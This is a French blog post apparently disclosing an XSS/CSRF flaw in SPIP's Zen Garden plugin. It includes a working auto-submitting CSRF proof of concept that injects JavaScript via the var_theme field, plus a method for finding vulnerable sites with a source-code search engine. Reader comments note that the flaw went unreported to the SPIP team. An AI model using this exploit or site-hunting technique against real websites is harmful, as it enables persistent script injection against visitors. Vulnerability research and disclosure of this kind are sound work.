{Spip} – Petite 0day sur un plugin utilisé par un millier de site !

Salut la compagnie,

 

En ce moment j'essaie de rester un peu dans les clous au niveau de mes publications, et c'est donc pour cela que je ne publie plus d'article où j'évoque des failles dangereuses sur de grosses plateformes.
Cependant, ça ne m'a pas arrêté dans mes recherches ;)

Je suis d'ailleurs ravie de pouvoir vous présenter 2 articles en 1 !
J'aimerais dans un premier temps vous exposer ladite faille, puis j'évoquerais un moteur de recherche assez peu connu, mais qui permet de faire de la recherche non pas sur le contenu des pages mais plutôt sur leurs codes sources.

 

Spip qu'est-ce que c'est ?

Spip c'est un CMS (un petit logiciel qui permet de gérer un site internet. #neophyte) assez connu, qui a eu son heure de gloire il y a quelques années, mais qui aujourd'hui reste comme beaucoup d'autres dans l'ombre de WordPress.

Spip et ses plugins

Comme la majorité des CMS, il est possible sur SPIP d'utiliser, de partager et de créer des plugins.
Ces plugins ajoutent de nouvelles fonctionnalités à votre site internet.
Il existe un store pour consulter les plugins existants, voir leurs réputations (le nombre de personnes qui les a téléchargé / installé), et surtout consulter les compatibilités avec la version de SPIP que vous utilisez.

 

Le site de démonstration de SPIP

Pour tout vous dire, je suis allé sur le site de la mairie de mon village ...
J'ai remarqué qu'il s'agissait d'un spip ... forcément j'ai fait quelques recherches (version du spip installé .. exploit existant et correspondant à cette version ... )
Bref j'ai fini par atterrir  sur le site officiel où l'on peut télécharger spip.
Et je ne sais pourquoi j'ai eu envie de consulter le site de démo

Et puis j'ai fait 2/3 tests de sécurité basique sur les variables dans l'url, sur des formulaires, etc ....

Et bingo !

 

J'ai fini par trouver une vulnérabilité  !
Une faille combinant XSS et CSRF créant une persistance temporaire (durée de vie du cookie) côté client, et qui permet d'injecter un code qui s'exécutera sur chaque page.

Traduction

 

Lorsqu'un pirate exploite cette vulnérabilité, vous aurez un bout de code malveillant (ou bienveillant) qui sera exécuté par votre smartphone, ordinateur, tablette sur n'importe quel page du site vulnérable.
Ce bout de code ne disparaîtra pas avant un certain temps ...

 

Le plugin Zen Garden 

La vulnérabilité que j'ai trouvée réside dans un plugin utilisé par le site de démonstration (et dans au moins un millier d'autres d'après la page de téléchargement de celui-ci).
Ce plugin c'est "Zen Garden", il permet entre autres d'offrir à vos internautes la possibilité d'afficher votre site dans une multitude de thème.

Pour cela, il affiche (ou pas) sur toutes les pages une liste déroulante contenant les différents thèmes installés sur votre site.

 

J'ai constaté que lorsque vous changiez la valeur de cette liste déroulante ... la page se rechargeait  et envoyait dans une requête POST la valeur assignée ....

 

 

J'ai donc  édité l'une de ces valeurs pour y mettre n'importe quoi ...
Puis j'ai sélectionné la ligne correspondant à mon n'importe quoi  ...

 

La page s'est rechargé pour "essayer" de charger le thème correspondant ... et qu'est-ce que j'ai vu dans le code source de la page rechargée ?

 

 

Jusque-là rien de fou ...
Sinon le fait que la valeur "N'importe quoi" que j'ai envoyé se retrouve directement dans du Javascript !
J'ai donc décidé d'envoyer cette fois une valeur bien précise  :  '; console.log('plop'); '

L'objectif étant d’exécuter mon petit morceau de code en passant de ça

var theme_selected='N\'importe quoi'

à ça

var theme_selected='';console.log('plop');'';

Ci-dessus, je clôture la variable "theme_selected" puis je mets mon bout de code, et je finis par une quotte pour fermer la quotte qui se situe à la fin sans générer d'erreur.

 

 

Là on se dit que c'est rigolo, et qu'il y a matière à faire quelque chose !
Puis je me balade sur le site, et je me rend compte que ce bout de code est persistant !

Il est directement stocké dans les cookies, et chaque fois que vous allez sur une page du site, le plugin "Zen Garden" consulte vos cookies et affiche le thème en conséquence, sauf qu'étant donné qu'il s'agit d'un code malveillant (ou bienveillant), celui-ci s’exécute tout le temps.

 

Comment un pirate peut-il l'exploiter ?

Là vous vous demandez, comment une vulnérabilité comme celle-ci peut être utilisée ?
Vous n'allez bien entendu pas demander à quelqu'un de s'auto-saboter en modifiant lui-même la valeur d'une des entrées fournie dans la liste déroulante des thèmes.

Non il y a beaucoup plus simple ...

Il suffit à un Hacker de créer une page sur son site Web et de l'envoyer à sa victime.
Lorsque la victime ouvrira la page en question, celle-ci validera simplement le même formulaire que le site vulnérable mais avec notre code malveillant ... la victime sera redirigée de manière transparente, le code malveillant sera envoyé et exécuté par le site vulnérable sans vérifier l'origine de la requête.

Ce simple script placé sur une page, permet à n'importe quel pirate de faire exécuter du code javascript à des personnes sur le site "vulnerablespipwebsite.com" (site qui n'existe pas, mais vous pouvez le remplacer par un site vulnérable si vous voulez tester).

/*
*
*	Spip XSS Vulnerability : Zen Garden Plugin <= 3.2
*	(c) Dyrk.org 2019 - 2020
*
*/

var html 	 = document.getElementsByTagName('html')[0],
	form	 = document.createElement('form'),
	input	 = document.createElement('input'),
	target   = 'https://vulnerableSpipWebsite.com';
html.appendChild(form);
form.appendChild(input);
form.setAttribute( 'action',target);
form.setAttribute( 'method','POST');
input.setAttribute('value', "';alert('Dyrk is the Best Blog Ever ;) ');dyrk='");
input.setAttribute('name', "var_theme");
form.submit();

 

 

Le moteur de recherche NerdyData.com

Un pirate qui souhaite trouver des sites vulnérables, va essayer de les trouver grâce à certains "pattern" propre au site vulnérable. Cela peut être un morceau de texte dans une page, ou bien du HTML, du Javascript .. bref du code source

Sauf que je ne connais pas beaucoup (aucun en fait), moteur de recherche pour le code source ...
Mais j'ai découvert très récemment le moteur de recherche NerdyData.com

C'est un véritable moteur de recherche qui va vous permettre de manière plus ou moins efficace de chercher  des sites à l'aide de leurs codes source ...

Par exemple, pour le plugin où j'ai découvert une "0day", j'ai constaté que le formulaire de sélection de thème se présentait sous cette forme.

J'ai donc identifié le terme le plus "personnalisé" qui me permettrait d'identifier les sites vulnérables.
Pour moi ça a été "formulaire_switcher_zen"

Et j'ai trouvé sur ce moteur de recherche pas moins de 17 résultats ... tous vulnérables !!!

Bien entendu, ce site n'est pas Google, il n'a pas la même base de données ... donc autant vous dire que 17 est un bon score, mais qu'il y en a certainement plein qui n'y apparaissent pas ...
D'autant que le plugin en question est utilisé dans 1735 sites  d'après sa page sur le store

 

 

Démonstration Vidéo

 

 

 

Conclusion

J'aimerais conclure par 2/3 conseils assez simples.
Pour plus de sécurité, il est préférable de faire un contrôle assez simple de la provenance de certaines actions par des tokens, des cookies  ou que sais-je qui vous permettra d'éviter un combo d'attaque XSS / CSRF (Google is your best friend ;) ) ...
Il faut également penser à faire un peu de nettoyage à coup de addslashes, HTMLEntities, ... (pour échapper au maximum les quottes, les balises HTML, ...)
Ce qui est assez moche dans cette histoire c'est qu'un sous domaine spip.net (le site de démo) soit touché .. car c'est non seulement la vitrine, mais aussi une aubaine pour des pirates souhaitant subtiliser des mots de passe en se faisant passer pour spip ...

Côté protection, il n'y a malheureusement pas grand chose à faire pour le coup.
Les utilisateurs du plugin devront attendre une mise à jour ...
Quant aux internautes lambda, il faudra juste éviter de cliquer sur des liens foireux envoyés par mail qui vous promettront de l'or, des diamants, une augmentation de la taille de votre pénis ou un(e) petit(e) ami(e) pas loin de chez vous

Sur ces bonnes paroles, je vous souhaite à tous une très bonne fin de Weekend !

 

 

Partagez ce contenu

5 comments

  • Très intéressant se moteur de recherche ça faisait longtemps que j’espérais un truc comme ça !

    Bon week end à toi !

  • un utilisateur spip

    Bonjour

    Ne pas hésiter à ouvrir un ticket sur https://core.spip.net

    Cela aurait plus de sens et pourrait aider l’équipe et faire remonter l’information aux personnes concernées

    Merci

  • Salut et merci pour le signalement qui aurait été bien plus efficace en nous contactant sur l’adresse dédiée aux problèmes de sécurité, cf spip-team at rezo.net. On va corriger le problème dans le plugin en question. Pour modérer ton enthousiasme et le titre « accrocheur » de ton article, il faut préciser que les 1000 et quelques sites qui utilisent ce plugin n’ont pas forcément activé l’option pour afficher le switcher dans les pages publiques (option désactivée par défaut).

    • Je trouve rigolo les personnes disant qu’il faut « signaler les failles de sécurité  » et te fais la leçon.C’est vrai qu’en France on est connu pour remercier les lanceurs d’alertes pour leurs découvertes !il y a tellement de failles qu’on connaît qui ne sont toujours pas corriger.
      La plupart des sites aujourd’hui ce sont des vraies passoires, et le budget sécurité c est une option ^^ .En plus, les sites, CMS, te demande de « ne pas faire de pub » quand ils sont pris à défaut et de ne pas prévenir les utilisateurs des risques !
      Par contre on ne prend jamais le temps de remercier des blogueurs comme Dyrk pour ses nombreux articles détailler qui ne parle pas que de faille de sécurité !! Le travail que demande la rédaction d’un article ou même de faire vivre un blog pendant plusieurs années

Répondre à b_b Annuler la réponse

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *